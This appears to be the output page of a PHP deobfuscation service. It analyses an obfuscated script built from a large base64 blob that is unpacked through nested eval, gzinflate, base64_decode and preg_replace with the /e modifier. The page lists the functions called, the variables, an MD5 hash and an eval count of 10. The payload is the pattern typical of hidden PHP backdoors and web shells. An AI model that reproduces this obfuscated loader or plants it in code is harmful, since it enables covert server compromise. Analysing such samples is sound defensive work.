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'\x29\x29\x29\x3B","");
?>

Function Calls

gzinflate 5
deloqe78371 1
preg_replace 4
base64_decode 5

Variables

$a base64_decode
$b gzinflate
$str 7b3tchtJdiD6mxPR71BCY7rAFggCEKWWSIESxQ+JEkVSBEm1RHJxC0ABKBFA..
$x4ot8q preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x..
$xmkdly aBmM2Pp8bukNmUl2KkA8ZnX48aGr36JZhjVQFCDQPeowSnY+z+P3RDGOOPBu..
$xucw9m q0bjcd0MjrU3pm50NXLldWRRnkGJLlROvtTldO5NaKaxFUntZ5zRDW5pVMHx..
$xw2xqp LaV6ZCTVD8cuW1/oRX9NdtskF3DSduIUNAB+pY4+hDXMDX00/KWiMLOWTyq/..

Stats

MD5 1e2a4b372834b4374149b2669d1793c0
Eval Count 10
Decode Time 365 ms